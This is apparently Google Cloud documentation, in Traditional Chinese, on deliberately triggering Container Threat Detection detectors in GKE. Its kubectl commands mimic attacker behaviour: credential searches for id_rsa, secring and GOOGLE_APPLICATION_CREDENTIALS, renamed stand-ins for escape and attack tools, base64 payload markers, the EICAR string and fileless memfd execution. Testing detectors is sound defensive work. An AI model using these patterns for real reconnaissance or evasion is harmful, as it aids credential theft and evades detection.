本頁說明如何刻意觸發偵測器並檢查結果,確認 Container Threat Detection 正常運作。Container Threat Detection 是 Security Command Center 進階和 Enterprise 方案的內建服務。如要查看 Container Threat Detection 發現項目,必須在 Security Command Center 的「服務」設定中啟用這項服務。
事前準備
如要偵測容器的潛在威脅,請確保叢集使用受支援的 Google Kubernetes Engine (GKE) 版本。詳情請參閱使用支援的 GKE 版本。
啟用偵測器
下列偵測工具預設為停用:
Added Binary Executed
Added Library Loaded
Credential Access: Find Google Cloud Credentials
Defense Evasion: Launch Code Compiler Tool In Container
Execution: Program Run with Disallowed HTTP Proxy Env
Exfiltration: Launch Remote File Copy Tools in Container
如要測試這些偵測器,必須明確啟用:
檢查偵測器狀態:
export PROJECT=PROJECT_ID gcloud alpha scc settings services describe \ --service=CONTAINER_THREAT_DETECTION \ --project=${PROJECT}
啟用偵測器
Added Binary Executed
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_BINARY_EXECUTED \ --project=${PROJECT}
啟用偵測器
Added Library Loaded
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_LIBRARY_LOADED \ --project=${PROJECT}
啟用偵測器
Credential Access: Find Google Cloud Credentials
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=FIND_GCP_CREDENTIALS \ --project=${PROJECT}
啟用偵測器
Execution: Program Run with Disallowed HTTP Proxy Env
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \ --project=${PROJECT}
啟用偵測器
Exfiltration: Launch Remote File Copy Tools in Container
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \ --project=${PROJECT}
啟用偵測器
Defense Evasion: Launch Code Compiler Tool In Container
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \ --project=${PROJECT}
設定環境變數
如要測試偵測器,請使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中設定環境變數,以便更輕鬆地執行指令。下列變數用於測試所有 Container Threat Detection 偵測器。
選取要用於測試的容器所屬專案。
按一下「啟用 Cloud Shell」。
在 Cloud Shell 中設定環境變數。
叢集所在的區域:
export ZONE=CLUSTER_ZONE
容器所在的專案:
export PROJECT=PROJECT_ID
叢集名稱:
export CLUSTER_NAME=CLUSTER_NAME
變數已設定完成。以下各節說明如何測試 Container Threat Detection 偵測器。
已執行新增的二進位檔
如要觸發「可執行更多二進位檔」發現項目,請在容器中放置二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls
複製到其他位置,然後執行該檔案。由於二進位檔副本並非原始容器映像檔的一部分,因此二進位檔的執行作業會出乎意料,即使該映像檔位於 Ubuntu 24.04 上,且容器應為不可變動。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放置並執行二進位檔:
x86 節點:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
ARM 節點:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
這項測試程序應會建立「Added Binary Executed」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有啟用 Security Command Center 進階或 Enterprise 方案,才能在 Cloud Logging 中查看發現項目。
為減少噪音,首次建立容器時,Container Threat Detection 會暫時篩除「已執行新增的二進位檔」發現項目。如要在設定容器時查看所有「已執行的已新增二進位檔」發現項目,請在容器名稱或 Pod 名稱加上 ktd-test
前置字元,如範例所示。
已載入新增的資料庫
如要觸發「已載入新增的程式庫」發現項目,請在容器中放置程式庫,然後載入。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /lib/x86_64-linux-gnu/libc.so.6
複製到其他位置,然後使用 ld
載入。載入的程式庫並非預期,因為程式庫副本不屬於原始容器映像檔 (即使該映像檔位於 Ubuntu 24.04 上),且容器應為不可變動。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放置程式庫,然後使用
ld
載入:x86 節點:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
ARM 節點:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
這項測試程序應會建立「Added Library Loaded」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。如要在 Cloud Logging 中查看發現項目,您必須在機構層級啟用 Security Command Center 的進階或企業方案。
為減少干擾,首次建立容器時,Container Threat Detection 會暫時篩除「已載入新增的程式庫」發現項目。如要在設定容器時查看所有「已新增資料庫載入」的結果,請在容器名稱或 Pod 名稱加上 ktd-test
前置字元,如範例所示。
命令與控制:偵測到隱寫術工具
如要觸發 Command and Control: Steganography Tool Detected
(預覽) 發現項目,具有與隱寫術工具一致的檔案操控功能的二進位檔必須在容器中執行。本範例使用最新的 Ubuntu 24.04 映像檔。並將其複製及重新命名為 steghide
(或另一個隱寫術工具,例如 stegano
)。這類行為會標示為可疑,因為可能表示有人試圖準備容器來隱藏或擷取資料,可能用於惡意用途。/bin/ls
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
執行隱寫術工具二進位檔,例如
steghide
:x86 節點:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
ARM 節點:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
這項測試程序會建立 Command and Control: Steganography Tool
Detected
發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (前提是您已為 Container Threat Detection 設定 Logging)。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
憑證存取:尋找 Google Cloud 憑證
如要觸發 Credential Access: Find Google Cloud Credentials
發現結果,必須在容器中執行可搜尋檔案內容的二進位檔。本範例使用最新版的 Ubuntu 24.04 映像檔。這會複製 /bin/ls
,並重新命名為 grep
。接著,系統會執行重新命名的二進位檔,並使用指定搜尋模式的引數,指出某種形式的 Google Cloud 憑證。這項動作會模仿嘗試找出 Google Cloud 憑證時的行為,因此遭到標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用適當的引數執行搜尋工具二進位檔,例如
find
:x86 節點:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
ARM 節點:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
這項測試程序應會建立Credential Access: Find Google Cloud Credentials
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。如要透過 Cloud Logging 查看發現項目,必須啟用 Security Command Center 進階或 Enterprise 方案。
憑證存取:GPG 金鑰偵查
如要觸發 Credential Access: GPG Key Reconnaissance
發現結果,必須在容器中執行可搜尋檔案內容的二進位檔。本範例使用最新版的 Ubuntu 24.04 映像檔。並將其複製並重新命名為 find
(或其他適用的搜尋公用程式,例如 grep)。/bin/ls
接著,系統會執行重新命名的二進位檔,並使用指定搜尋模式的引數,指出私密金鑰或密碼,或是顯示密碼或祕密的內容模式。這項動作會模仿嘗試尋找 GPG 安全金鑰時的行為,因此系統會將其標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用適當的引數執行搜尋工具二進位檔,例如
find
:x86 節點:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"
ARM 節點:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"
這項測試程序應會建立Credential Access: GPG Key Reconnaissance
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
憑證存取:搜尋私密金鑰或密碼
如要觸發 Credential Access: Search Private Keys or Passwords
發現結果,必須在容器中執行可搜尋檔案內容的二進位檔。本範例使用最新版的 Ubuntu 24.04 映像檔。並將其複製並重新命名為 find
(或其他適用的搜尋公用程式,例如 grep)。/bin/ls
接著,系統會執行重新命名的二進位檔,並使用指定搜尋模式的引數,指出私密金鑰或密碼,或是顯示密碼或祕密的內容模式。這項動作會模仿在容器化環境中嘗試尋找私密金鑰或密碼等私密資訊時的行為,因此系統會將其標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用適當的引數執行搜尋工具二進位檔,例如
find
:x86 節點:
tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
ARM 節點:
tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
這項測試程序應會建立 Credential Access: Search Private Keys or
Passwords
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
規避防禦機制:Base64 ELF 檔案指令列
如要觸發 Defense Evasion: Base64 ELF File Command Line
發現項目,程序必須有 base64
做為引數,以及 f0VMRgIB
做為引數,後者是 ELF
的 base64 編碼形式。本範例使用最新版的 Ubuntu 24.04 映像檔。接著,系統會使用 -d
和 f0VMRgIB
引數執行 base64
。這項動作會模仿嘗試解碼二進位資料以執行惡意程式碼時的行為,因此系統會標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用適當的引數執行搜尋工具二進位檔,例如
find
:x86 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
ARM 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
這項測試程序應會建立兩個Defense Evasion: Base64 ELF File Command Line
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。由於初始 bash -c
指令和 base64 -d
指令的執行作業都符合發現項目條件,因此系統會建立兩個發現項目。
規避防禦機制:已執行 Base64 編碼的 Python 指令碼
如要觸發 Defense Evasion: Base64 Encoded Python Script Executed
發現項目,程序必須有 echo
或 base64
做為引數,以及 aW1wb3J0IH
做為引數 (這是 python -c
的 Base64 編碼形式)。本範例使用最新版的 Ubuntu 24.04 映像檔。接著,系統會使用 aW1wb3J0IH
引數執行 echo
。這項動作會模仿嘗試解碼二進位資料以執行惡意程式碼時的行為,因此系統會標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用適當的引數執行搜尋工具二進位檔,例如
find
:x86 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
ARM 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
這項測試程序應會建立Defense Evasion: Base64 Encoded Python Script Executed
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
規避防禦機制:執行 Base64 編碼的殼層指令碼
如要觸發 Defense Evasion: Base64 Encoded Shell Script Executed
發現項目,程序必須有 echo
或 base64
做為引數,以及 IyEvYmluL2Jhc2gK
做為引數 (這是 #!/bin/bash
的 Base64 編碼形式)。本範例使用最新版的 Ubuntu 24.04 映像檔。接著,系統會使用 IyEvYmluL2Jhc2gK
引數執行 echo
。這項動作會模仿嘗試解碼二進位資料以執行惡意程式碼時的行為,因此系統會標示為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用適當的引數執行搜尋工具二進位檔,例如
find
:x86 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
ARM 節點:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
這項測試程序應會建立Defense Evasion: Base64 Encoded Shell Script Executed
發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Cloud Logging,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
規避防禦機制:在容器中啟動程式碼編譯器工具
如要觸發 Defense Evasion: Launch Code Compiler Tool In Container
(預覽) 發現項目,程式碼編譯器工具必須在容器內執行。
本範例使用最新版的 Ubuntu 24.04 映像檔。這個檔案會複製 /bin/ls
並重新命名為 gcc10
(或其他編譯器,例如 clang
)。這類行為會標示為可疑,因為可能表示有人嘗試在容器中編譯及執行惡意程式碼,藉此規避偵測或修改容器行為。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
使用適當引數執行編譯器二進位檔,例如
gcc10
:x86 節點:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
ARM 節點:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
這項測試程序會建立 Defense Evasion: Launch Code Compiler Tool
In Container
發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (前提是您已為 Container Threat Detection 設定 Logging)。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:已執行新增的惡意二進位檔
如要觸發「已執行新增的惡意二進位檔」發現項目,請在容器中放入惡意二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、建立模擬的惡意檔案,然後執行該檔案。模擬的惡意二進位檔並非原始容器映像檔的一部分,且該二進位檔是 EICAR 測試檔案,威脅情報會將這類檔案歸類為惡意檔案,因此二進位檔的執行作業會出乎意料。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入 EICAR 二進位檔並執行:
x86 節點:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
ARM 節點:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
這項測試程序應會建立「Execution: Added Malicious Binary Executed」發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有在啟用 Security Command Center 進階或企業方案後,才能在 Cloud Logging 中查看發現項目。
為減少噪音,首次建立容器時,Container Threat Detection 會暫時篩除「執行:新增惡意二進位檔」的發現項目。如要查看所有「執行:已執行惡意二進位檔」的發現項目 (在設定容器時),請在容器名稱或 Pod 名稱加上 ktd-test
前置字元,如範例所示。
執行:容器跳脫
如要觸發「執行:容器逸出」發現項目,請在容器中放置二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔,將 /bin/ls
複製到其他位置,重新命名為可疑工具 (botb-linux-amd64
),然後使用其他引數執行。這項動作會模擬與容器逸出嘗試一致的行為,因此被視為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入
botb-linux-amd64
等容器漏洞利用工具的二進位檔,然後執行:x86 節點:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
ARM 節點:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
這項測試程序應會建立「執行:容器逸出」發現項目,您可以在 Security Command Center 中查看該項目,如果已為 Container Threat Detection 設定記錄功能,也可以在 Cloud Logging 中查看。只有啟用 Security Command Center 進階或 Enterprise 方案,才能在 Cloud Logging 中查看發現項目。
執行:/memfd:
中的無檔案執行作業
如要觸發 Execution: Fileless Execution in /memfd:
發現結果,必須從 /memfd:
記憶體內檔案系統執行程序。本範例使用最新版的 Ubuntu 24.04 映像檔。/bin/ls
公用程式會複製到 /memfd:
中的匿名檔案。然後執行複製的二進位檔。
系統會將 /memfd:
下的二進位檔執行作業標示為可疑,因為這類作業會模仿物件在記憶體中執行的行為,藉此規避檔案偵測。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
建立具備特殊權限的容器,並開啟 bash 來執行指令:
x86 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open("/bin/ls",'rb') execdata = f.read() f.close() fd = os.memfd_create("", 0) fname = "/proc/self/fd/{}".format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ["/bin"] os.execve(fname, args, os.environ)"
ARM 節點:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open("/bin/ls",'rb') execdata = f.read() f.close() fd = os.memfd_create("", 0) fname = "/proc/self/fd/{}".format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ["/bin"] os.execve(fname, args, os.environ)"
這項測試程序應會建立發現項目,您可以在 Security Command Center 中查看,如果已為 Container Threat Detection 設定 Logging,也可以在 Cloud Logging 中查看。Execution: Fileless Execution in /memfd:
只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目。
執行:Ingress Nightmare 安全漏洞執行
如要觸發執行作業:Ingress Nightmare 安全漏洞執行作業 (預覽版) 發現項目,請在容器中執行 nginx 二進位檔。本範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls
複製到其他位置、重新命名為 Nginx 二進位檔 (nginx
),並使用參照 /proc
檔案系統的其他引數執行。這項動作會模擬與 Ingress Nightmare 漏洞 (CVE-2025-1974) 一致的行為,因此被視為可疑,可能表示有遠端程式碼執行。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
建立類似
nginx
的 Nginx 二進位檔,並在存取/proc
檔案系統時執行該檔案:x86 節點:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
ARM 節點:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
這項測試程序會建立「Execution: Ingress Nightmare Vulnerability」執行發現項目,您可以在 Security Command Center 和 Cloud Logging 中查看該項目 (前提是您已為 Container Threat Detection 設定記錄功能)。只有在啟用 Security Command Center 進階或 Enterprise 方案後,才能在 Cloud Logging 中查看發現項目
執行:Kubernetes 攻擊工具執行作業
如要觸發執行作業:Kubernetes 攻擊工具執行作業發現項目,請在容器中放置二進位檔並執行。這個範例會部署最新的 Ubuntu 24.04 映像檔、將 /bin/ls
複製到其他位置、重新命名為可疑工具 (amicontained
),然後執行該工具。這項動作會模擬與潛在 Kubernetes 攻擊工具執行嘗試一致的行為,因此被視為可疑。
使用 Cloud Shell 存取叢集控制層:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
放入 Kubernetes Attack 工具二進位檔 (例如
amicontained
) 並執行:x86 節點:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
ARM 節點:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
